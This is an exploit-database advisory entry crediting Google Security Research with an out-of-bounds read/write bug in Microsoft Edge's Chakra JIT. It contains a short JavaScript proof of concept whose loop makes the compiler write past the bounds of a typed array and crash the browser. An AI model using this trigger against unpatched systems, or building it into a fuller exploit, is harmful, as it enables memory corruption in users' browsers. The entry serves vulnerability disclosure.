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Microsoft Edge Chakra JIT - Out-of-Bounds ReadsWrites

🗓️ 12 Jul 2018 00:00:00Reported by Google Security ResearchType 
exploitpack
 exploitpack
👁 14 Views

Microsoft Edge Chakra JIT - Out-of-Bounds ReadsWrites. Issue similar to MSRC 42111, requires page refresh for crash. PoC for out-of-bounds write exploit

Code
/*
It seems that this issue is similar to the  issue 1429  (MSRC 42111). It might need to refresh the page several times to observe a crash.

PoC:
*/

let arr = new Uint32Array(1000);
for (let i = 0; i < 0x1000000; i++) {
    for (let j = 0; j < 1; j++) {
        i--;
        i++;
    }

    arr[i] = 0x1234;
}

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12 Jul 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
14